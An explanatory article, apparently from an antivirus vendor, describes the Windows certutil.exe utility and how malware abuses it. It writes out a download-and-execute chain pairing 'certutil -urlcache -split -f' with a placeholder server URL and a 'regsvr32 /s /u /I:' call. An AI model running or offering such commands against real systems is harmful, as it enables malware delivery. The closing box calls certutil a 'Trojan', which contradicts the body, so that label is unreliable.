Certutil.exe is a command-line utility in Microsoft Windows that is used to manage certificates and certificate services. It is included in the Windows operating system and can be used to perform various tasks related to digital certificates.
Certutil.exe can be used to perform a wide range of functions, including:
- Managing certificates: Certutil.exe can manage certificates stored in the Windows certificate store. This includes importing and exporting certificates, deleting certificates, and viewing certificate details.
- Managing certificate revocation lists (CRLs): Certutil.exe can be used to manage CRLs, which are lists of certificates that their issuing authorities have revoked.
- Verifying certificates: Certutil.exe can be used to verify the validity of a certificate by checking its digital signature against the issuing authority’s public key.
- Generating key pairs: Certutil.exe can be used to generate public/private key pairs for use in digital certificates.
- Managing smart cards: Certutil.exe can be used to manage smart cards that store digital certificates.
Certutil.exe is a powerful tool that system administrators and security professionals commonly use to manage digital certificates and certificate services in Windows environments.
Is Certutil.exe virus?
You can use this program to carry out a variety of functions related to certificates and certificate stores on Windows, including installation, backup, deletion, and management.
Like any other system tool, Certutil.exe can be used by malware to carry out malicious activities. Malware developers can use Certutil.exe to download and install additional malware on a compromised system, bypass security measures, or exfiltrate sensitive data.
One notable feature of CertUtil is its ability to download files, including certificates, from remote URLs and save them locally using the command:
certutil.exe -urlcache -split -f [URL] output.file
For example, attackers may use the command “certutil -urlcache -split -f [serverURL] file.blah” in combination with “regsvr32.exe /s /u /I:file.blah scrub.dll” to download and execute the malware on a target system.
One common technique used by malware developers is to use Certutil.exe to download and decode encrypted malicious files from remote servers. This can be done by using the “-decode” parameter with Certutil.exe to decode Base64 encoded content or by using the “-urlcache” parameter to download a file from a remote server.
However, it’s important to note that Certutil.exe itself is not malware and is a legitimate system tool that is included with Windows. It is typically stored in the System32 directory and is signed by Microsoft, which means that any attempts to modify or replace it will trigger a security warning.
To protect your system from malware that uses Certutil.exe, it’s important to keep your system and antivirus software up to date, use a reputable antivirus software like Gridinsoft Anti-Malware, and exercise caution when downloading and installing software from the internet or opening email attachments from unknown senders.
Certutil.exe
Name: Certutil.exe
Description: Like any other system tool, Certutil.exe can be used by malware to carry out malicious activities. Malware developers can use Certutil.exe to download and install additional malware on a compromised system, bypass security measures, or exfiltrate sensitive data.
Operating System: Windows
Application Category: Trojan